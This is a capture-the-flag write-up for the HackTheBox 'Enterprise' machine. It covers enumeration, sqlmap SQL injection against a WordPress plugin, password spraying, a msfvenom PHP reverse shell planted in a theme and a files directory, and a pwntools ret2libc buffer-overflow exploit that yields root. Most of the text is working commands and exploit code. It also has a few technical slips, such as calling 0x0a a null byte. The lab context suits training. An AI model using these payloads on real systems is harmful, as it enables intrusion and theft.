HackTheBox Enterprise
Writeup for HackTheBox Enterprise
Machine Synopsis
Enterprise is one of the more challenging machines on Hack The Box. It requires a wide range of knowledge and skills to successfully exploit. It features a custom wordpress plugin and a buffer overflow vulnerability that can be exploited both locally and remotely. (Source)
Key exploitation techniques:
- WordPress custom plugin SQL Injection for information disclosure
- WordPress administrative access and webshell upload for RCE
- Docker container enumeration
- Local Buffer Overflow in SUID binary (
/bin/lcars
) - Return-to-Libc (ret2libc) for root shell
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
❯ nmap -p- --min-rate 10000 10.10.10.61
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
5355/tcp filtered llmnr
8080/tcp open http-proxy
32812/tcp open unknown
❯ nmap -sC -sV -p22,80,443,5355,8080,32812 10.10.10.61
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:e9:8c:c5:b5:52:23:f4:b8:ce:d1:96:4a:c0:fa:ac (RSA)
| 256 f3:9a:85:58:aa:d9:81:38:2d:ea:15:18:f7:8e:dd:42 (ECDSA)
|_ 256 de:bf:11:6d:c0:27:e3:fc:1b:34:c0:4f:4f:6c:76:8b (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.8.1
|_http-title: USS Enterprise – Ships Log
|_http-server-header: Apache/2.4.10 (Debian)
443/tcp open ssl/http Apache httpd 2.4.25 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.25 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
| Not valid before: 2017-08-25T10:35:14
|_Not valid after: 2017-09-24T10:35:14
| tls-alpn:
|_ http/1.1
5355/tcp filtered llmnr
8080/tcp open http Apache httpd 2.4.10 ((Debian))
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.10 (Debian)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
32812/tcp open unknown
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions:
| _______ _______ ______ _______
| |_____| |_____/ |______
| |_____ |_____ | | | _ ______|
| Welcome to the Library Computer Access and Retrieval System
| Enter Bridge Access Code:
| Invalid Code
| Terminating Console
| NULL:
| _______ _______ ______ _______
| |_____| |_____/ |______
| |_____ |_____ | | | _ ______|
| Welcome to the Library Computer Access and Retrieval System
|_ Enter Bridge Access Code:
The scan identified SSH, Apache HTTPD on ports 80 (WordPress) and 443 (default Apache page), Joomla on port 8080, and a custom service on port 32812. The domain enterprise.htb
was added to /etc/hosts
to resolve website elements.
1
❯ echo -e '10.10.10.61\t\tenterprise.htb' | sudo tee -a /etc/hosts
wpscan
was used to enumerate WordPress users.
1
2
3
4
5
6
7
8
9
10
❯ wpscan --url http://enterprise.htb -e --api-token <token>
...
[i] User(s) Identified:
[+] william.riker
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Login Error Messages (Aggressive Detection)
...
william.riker
was identified as a user. ffuf
was used for directory enumeration on port 80.
1
2
3
4
5
❯ ffuf -u http://enterprise.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .php -fc 401,403,404
...
wp-login.php [Status: 200, Size: 2428, Words: 150, Lines: 70, Duration: 35ms]
wp-content [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 488ms]
...
ffuf
on port 443 revealed a /files
directory.
1
2
3
4
❯ ffuf -u https://enterprise.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .php -fc 401,403,404
...
files [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 4ms]
...
Browsing https://enterprise.htb/files/
showed an lcars.zip
file. This was downloaded.
1
2
3
4
5
6
❯ wget https://enterprise.htb/files/lcars.zip --no-check-certificate
❯ unzip lcars.zip
Archive: lcars.zip
inflating: lcars/lcars_db.php
inflating: lcars/lcars_dbpost.php
inflating: lcars/lcars.php
These PHP files were part of a WordPress plugin.
Port 8080 hosted a Joomla instance with an /administrator
login page.
1
2
3
4
❯ ffuf -u http://enterprise.htb:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .php -fc 401,403,404
...
administrator [Status: 301, Size: 331, Words: 20, Lines: 10, Duration: 4ms]
...
Lastly, nc
to port 32812 presented a “Library Computer Access and Retrieval System” prompt.
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ nc 10.10.10.61 32812
_______ _______ ______ _______
| | |_____| |_____/ |______
|_____ |_____ | | | \_ ______|
Welcome to the Library Computer Access and Retrieval System
Enter Bridge Access Code:
test
Invalid Code
Terminating Console
Exploitation
SQL Injection (WordPress) & Credential Disclosure
Analysis of the downloaded lcars
plugin files revealed lcars_dbpost.php
and lcars_db.php
both processed a query
GET parameter. lcars_dbpost.php
executed a SQL query SELECT post_title FROM wp_posts WHERE ID = $query
. This was a clear SQL Injection vulnerability.
1
2
3
4
5
6
7
8
9
❯ cat lcars/lcars_db.php
...
if (isset($_GET['query'])){
$query = (int)$_GET['query'];
$sql = "SELECT post_title FROM wp_posts WHERE ID = $query";
$result = $db->query($sql);
// ...
}
...
1
2
3
❯ curl 'http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1'
<br />
<b>Catchable fatal error</b>: Object of class mysqli_result could not be converted to string in <b>/var/www/html/wp-content/plugins/lcars/lcars_db.php</b> on line <b>16</b><br />
sqlmap
was used to automate the SQL Injection and dump data from the wordpress
database.
1
2
❯ sqlmap -u 'http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1' --batch --dump
...
The dump revealed wp_posts.csv
and wp_users.csv
. wp_posts.csv
contained plaintext passwords within its content.
1
2
❯ cat /home/shiro/.local/share/sqlmap/output/enterprise.htb/dump/wordpress/wp_posts.csv | grep "Passwords" | cut -d ',' -f14
Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n
The following passwords were extracted:
enterprisencc170
u*Z14ru0p#ttj83zS6
ZD3YxfnSjezg67JZ
ZxJyhGem4k338S2Y
wp_users.csv
confirmed the william.riker
user.
1
2
3
❯ cat /home/shiro/.local/share/sqlmap/output/enterprise.htb/dump/wordpress/wp_users.csv
ID,user_url,user_pass,user_email,user_login,user_status,display_name,user_nicename,user_registered,user_activation_key
1,<blank>,$P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2.,william.riker@enterprise.htb,william.riker,0,william.riker,william-riker,2017-09-03 19:20:56,<blank>
sqlmap
was also used to dump the joomladb
database, revealing users geordi.la.forge
and guinan
with their hashes.
1
2
3
4
5
6
❯ sqlmap -u 'http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1' --batch --dbs -D joomladb --dump
...
❯ cat /home/shiro/.local/share/sqlmap/output/enterprise.htb/dump/joomladb/edz2g_users.csv
id,otep,email,name,otpKey,params,block,password,username,sendEmail,activation,resetCount,registerDate,requireReset,lastResetTime,lastvisitDate
400,<blank>,geordi.la.forge@enterprise.htb,Super User,<blank>,"{""admin_style"":"""",""admin_language"":"""",""language"":"""",""editor"":"""",""helpsite"":"""",""timezone"":""""}",0,$2y$10$cXSgEkNQGBBUneDKXq9gU.8RAf37GyN7JIrPE7us9UBMR9uDDKaWy,geordi.la.forge,1,0,0,2017-09-03 19:30:04,0,0000-00-00 00:00:00,2017-10-17 04:24:50
...
All discovered users (william.riker
, geordi.la.forge
, guinan
) and passwords were saved to users.txt
and passwords.txt
. wpscan
was then used to spray these credentials against the WordPress login.
1
2
3
4
5
❯ wpscan --url http://enterprise.htb/ -U users.txt -P passwords.txt
...
[+] Performing password attack on Xmlrpc against 3 user/s
[SUCCESS] - william.riker / u*Z14ru0p#ttj83zS6
...
The credential william.riker:u*Z14ru0p#ttj83zS6
was found to be valid. Login to http://enterprise.htb/wp-login.php
was successful.
WordPress RCE (www-data in Docker)
A PHP meterpreter reverse shell (poc.php
) was generated using msfvenom
.
1
❯ msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.13 lport=1337 -f raw > poc.php
From the WordPress dashboard (Appearance
-> Editor
), the source code of 404.php
(or another writable theme file) was replaced with the malicious PHP code.
A metasploit
handler was set up.
1
2
3
4
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.14.13
msf6 exploit(multi/handler) > set lport 1337
msf6 exploit(multi/handler) > run
Accessing a URL that would trigger a 404 error (e.g., http://enterprise.htb/?p=1337
) executed the payload.
1
2
3
4
5
6
7
8
9
10
11
12
msf6 exploit(multi/handler) > [*] Started reverse TCP handler on 10.10.14.13:1337
[*] Sending stage (40004 bytes) to 10.10.10.61
[*] Meterpreter session 1 opened (10.10.14.13:1337 -> 10.10.10.61:41676)
meterpreter > shell
Process 396 created.
Channel 0 created.
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
This granted a meterpreter
session as www-data
. The presence of .dockerenv
and the IP address 172.17.0.3
confirmed a Docker container.
1
2
3
4
5
6
7
8
9
10
11
12
script /dev/null -c bash
www-data@b8319d86d21e:/var/www/html$ ls -la /
total 72
...
-rwxr-xr-x 1 root root 0 Sep 3 2017 .dockerenv
...
www-data@b8319d86d21e:/var/www/html$ ip addr
...
8: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:04 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.4/16 scope global eth0
...
The WordPress wp-config.php
file contained MySQL credentials: root:NCC-1701E
.
1
2
3
4
5
www-data@b8319d86d21e:/var/www/html$ cat wp-config.php
...
define('DB_USER', 'root');
define('DB_PASSWORD', 'NCC-1701E');
...
The files
directory (/var/www/html/files
) was identified as being accessible over HTTPS (https://enterprise.htb/files/
) and writable by www-data
. This allowed for a new webshell to be deployed directly to the host’s HTTPS server.
1
2
3
4
www-data@b8319d86d21e:/var/www/html$ cd files
www-data@b8319d86d21e:/var/www/html/files$ echo 'testing' > test.txt
www-data@b8319d86d21e:/var/www/html/files$ curl -k https://enterprise.htb/files/test.txt
testing
The previously generated poc.php
(meterpreter shell) was uploaded to /var/www/html/files
.
1
meterpreter > upload poc.php /var/www/html/files
Accessing https://enterprise.htb/files/poc.php
triggered a new meterpreter session directly from the host’s Apache (HTTPS) server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf6 exploit(multi/handler) > run -j # Start new handler
[*] Sending stage (40004 bytes) to 10.10.10.61
[*] Meterpreter session 10 opened (10.10.14.13:1337 -> 10.10.10.61:33650)
msf6 exploit(multi/handler) > sessions -i 10
[*] Starting interaction with 10...
meterpreter > shell
Process 15334 created.
Channel 0 created.
script /dev/null -c bash
Script started, file is /dev/null
www-data@enterprise:/var/www/html/files$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@enterprise:/var/www/html/files$ ip addr
...
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:8e:6d brd ff:ff:ff:ff:ff:ff
inet 10.10.10.61/24 brd 10.10.10.255 scope global ens33
...
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:2c:db:51:aa brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 scope global docker0
...
This confirmed the new shell was on the host machine, not inside a Docker container. The user.txt
in /home/jeanlucpicard/
was a decoy.
Privilege Escalation
SUID lcars
Buffer Overflow (root)
find
was used to locate files with the SUID bit set.
1
2
3
4
www-data@enterprise:/home/jeanlucpicard$ find / -type f -perm -4000 2>/dev/null
...
/bin/lcars
...
The /bin/lcars
binary was identified as SUID. Its properties were analyzed.
1
2
3
4
5
6
7
8
9
10
11
12
❯ file lcars
lcars: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=88410652745b0a94421ce22ea4278a8eaea8db57, not stripped
❯ checksec lcars
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No
The binary was 32-bit, SUID, and had no stack canary, an executable stack, and RWX segments, making it highly vulnerable to buffer overflows. Running lcars
confirmed it was the “Library Computer Access and Retrieval System” from port 32812.
1
2
3
4
5
6
7
8
❯ ./lcars
...
Welcome to the Library Computer Access and Retrieval System
Enter Bridge Access Code: test
Invalid Code
Terminating Console
Decompiling lcars
with Ghidra revealed key functions:
main
: Callssetresuid(0,0,0)
(sets effective user ID to root), thenstartScreen()
and prompts for “Bridge Access Code”.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
undefined4 main(void) { char local_19 [9]; undefined *local_10; local_10 = &stack0x00000004; setresuid(0,0,0); startScreen(); puts("Enter Bridge Access Code: "); fflush(_stdout); fgets(local_19,9,_stdin); bridgeAuth(local_19); return 0; }
bridgeAuth(char *param_1)
: Comparesparam_1
topicarda1
. If correct, callsmain_menu()
.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
void bridgeAuth(char *param_1) { char local_32; undefined uStack_31; undefined uStack_30; undefined uStack_2f; undefined uStack_2e; undefined uStack_2d; undefined uStack_2c; undefined uStack_2b; undefined uStack_2a; int local_14; undefined4 local_10; local_32 = 'p'; uStack_31 = 'i'; uStack_30 = 'c'; uStack_2f = 'a'; uStack_2e = 'r'; uStack_2d = 'd'; uStack_2c = 'a'; uStack_2b = '1'; local_10 = L'\t'; uStack_2a = '\0'; local_14 = strcmp(param_1,&local_32); if (local_14 == 0) { main_menu(); } else { puts("\nInvalid Code\nTerminating Console\n"); } fflush(_stdout); /* WARNING: Subroutine does not return */ exit(0); }
main_menu()
: Presents a menu.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
void main_menu(void) { undefined4 local_d8 [52]; local_d8[0] = 0; startScreen(); puts("\n"); puts("LCARS Bridge Secondary Controls -- Main Menu: \n"); puts("1. Navigation"); puts("2. Ships Log"); puts("3. Science"); puts("4. Security"); puts("5. StellaCartography"); puts("6. Engineering"); puts("7. Exit"); puts("Waiting for input: "); fflush(_stdout); __isoc99_scanf(&DAT_00010f92,local_d8); /* WARNING: Could not find normalized switch variable to match jumptable */ /* WARNING: This code block may not be properly labeled as switch case */ unable(); return; }
disableForcefields()
: (Called frommain_menu
via option 4 - Security) Prompts for “Security Override” and usesscanf
to read input into a local bufferlocal_d4
(204 bytes). It then usesprintf("Rerouting Tertiary EPS Junctions: %s",local_d4);
.1 2 3 4 5 6 7 8 9 10 11 12 13
void disableForcefields(void) { undefined local_d4 [204]; startScreen(); puts("Disable Security Force Fields"); puts("Enter Security Override:"); fflush(_stdout); __isoc99_scanf(&DAT_00010ec4,local_d4); printf("Rerouting Tertiary EPS Junctions: %s",local_d4); return; }
The scanf
in disableForcefields
is vulnerable to buffer overflow. gdb
was used to find the offset to overwrite EIP.
1
2
❯ msf-pattern_create -l 250
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ gdb -q lcars
pwndbg> r
...
Enter Bridge Access Code: picarda1
...
Waiting for input: 4
Disable Security Force Fields
Enter Security Override: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
Program received signal SIGSEGV, Segmentation fault.
0x31684130 in ?? ()
...
EIP 0x31684130 ('0Ah1')
...
msf-pattern_offset
confirmed the offset to EIP was 212.
1
2
❯ msf-pattern_offset -q 0Ah1
[*] Exact match at offset 212
A test payload of A
* 212 + BBBB
confirmed EIP overwrite.
1
2
3
4
❯ python3 -c 'print("A"*212 + "BBBB")' | gdb -q lcars -ex "r" -ex "c"
...
EIP 0x42424242 ('BBBB')
...
A Return-to-Libc (ret2libc) attack was planned. ldd /bin/lcars
provided the base address of libc.so.6
.
1
2
3
4
www-data@enterprise:/var/www/html/files$ ldd /bin/lcars
linux-gate.so.1 => (0xf7ffc000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
/lib/ld-linux.so.2 (0x56555000)
gdb
was used to find the addresses of system
, exit
, and /bin/sh
within libc
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ gdb /bin/lcars
(gdb) b main
Breakpoint 1 at 0x56555ca0: file lcars.c, line 17.
(gdb) r
Starting program: /bin/lcars
Breakpoint 1, 0x56555ca0 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e4c060 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7e3faf0 <exit>
(gdb) find 0xf7e32000,+5000000,"/bin/sh"
0xf7f70a0f
warning: Unable to access 16000 bytes of target memory at 0xf7fca797, halting search.
1 pattern found.
(gdb) x/s 0xf7f70a0f
0xf7f70a0f: "/bin/sh"
The address 0xf7f70a0f
for /bin/sh
contained a null byte (0x0a
), which would terminate the string prematurely. Alternative sh
addresses were searched for.
1
2
3
4
5
6
(gdb) find 0xf7e32000,+5000000,"sh"
0xf7f6ddd5
0xf7f6e7e1
0xf7f70a14
0xf7f72582
...
The address 0xf7f6ddd5
was chosen for “sh” (without a null byte).
A Python exploit script (solve.py
) using the pwn
library was crafted.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
from pwn import *
r = remote("enterprise.htb", 32812)
system_addr = p32(0xf7e4c060) # address of system function in libc
exit_addr = p32(0xf7e3faf0) # address of exit function in libc
sh_addr = p32(0xf7f6ddd5) # address of sh string in libc (chosen to avoid null bytes)
payload = b"A" * 212 + system_addr + exit_addr + sh_addr
r.recvuntil("Enter Bridge Access Code:")
r.sendline("picarda1")
r.recvuntil("Waiting for input:")
r.sendline("4") # Select Security option
r.recvuntil("Enter Security Override:")
r.sendline(payload)
r.interactive()
The exploit was executed, granting a root shell.
1
2
3
4
5
6
7
8
9
10
❯ ./solve.py
[+] Opening connection to enterprise.htb on port 32812: Done
...
[*] Switching to interactive mode
$ whoami
root
$ cat /root/root.txt
639b4ffb52d51797e5bd94a93d63aae0
The root.txt
flag was retrieved.